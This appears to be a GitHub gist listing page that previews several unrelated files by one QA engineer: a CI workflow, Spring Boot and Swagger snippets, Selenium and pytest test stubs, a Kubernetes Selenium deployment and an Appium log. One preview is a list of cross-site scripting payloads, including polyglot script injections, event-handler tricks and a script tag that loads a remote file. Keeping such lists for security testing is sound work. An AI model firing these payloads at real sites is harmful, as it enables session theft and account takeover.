This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# .github/workflows/app.yaml | |
name: My Python Project | |
on: push | |
jobs: | |
test: | |
runs-on: ubuntu-latest | |
timeout-minutes: 10 | |
services: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.wmock.info.controllers; | |
import com.wmock.info.models.ChapterInfoModel; | |
import org.springframework.web.bind.annotation.*; | |
@RestController | |
@RequestMapping(value = "/api/chapter", produces = "application/json") | |
public class ChapterInfoController { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.wmock.info.config; | |
import org.springframework.context.annotation.Bean; | |
import org.springframework.context.annotation.Configuration; | |
import springfox.documentation.builders.PathSelectors; | |
import springfox.documentation.builders.RequestHandlerSelectors; | |
import springfox.documentation.spi.DocumentationType; | |
import springfox.documentation.spring.web.plugins.Docket; | |
import springfox.documentation.swagger2.annotations.EnableSwagger2; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
import unittest | |
from pytest_html_reporter import attach | |
class TestClass(unittest.TestCase): | |
def __init__(self, driver): | |
super().__init__(driver) | |
def setUp(self): | |
global driver |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: extensions/v1beta1 | |
kind: Deployment | |
metadata: | |
name: android | |
namespace: selenium | |
labels: | |
app: selenium | |
environment: stg | |
role: qa | |
service: selenium |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class TestClass: | |
i = 0 | |
@classmethod | |
def values(cls): | |
for k in range(5): | |
print(cls.incrementor()) | |
@classmethod | |
def incrementor(cls): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class TestData(): | |
def test_foo(self): | |
for value in TestData.simpleGeneratorFun(): | |
print(value) | |
assert 1 == value | |
def simpleGeneratorFun(): | |
yield 1 | |
yield 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pytest | |
@pytest.fixture(autouse=True) | |
def data(): | |
assert False | |
class TestData(): | |
def test_foo(self): | |
assert 'prasha' in "prashanth" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[info] [35m[Appium][39m Welcome to Appium v1.17.1 | |
[info] [35m[Appium][39m Non-default server args: | |
[info] [35m[Appium][39m allowInsecure: { | |
[info] [35m[Appium][39m } | |
[info] [35m[Appium][39m denyInsecure: { | |
[info] [35m[Appium][39m } | |
[info] [35m[Appium][39m Appium REST http interface listener started on 0.0.0.0:4723[info] [35m[HTTP][39m [37m-->[39m [37mPOST[39m [37m/wd/hub/session[39m | |
[info] [35m[HTTP][39m [90m{"capabilities":{"firstMatch":[{"platformName":"Android","appium:platformVersion":"","appium:deviceName":"PF","appium:app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","appium:noReset":false}]},"desiredCapabilities":{"platformName":"Android","platformVersion":"","deviceName":"PF","app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","noReset":false}}[39m | |
[debug] [35m[W3C][39m Calling AppiumDriver.createSession() with args: [{"platformName":"Android","platformVersion":"","deviceName":"PF","app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","noRe |
NewerOlder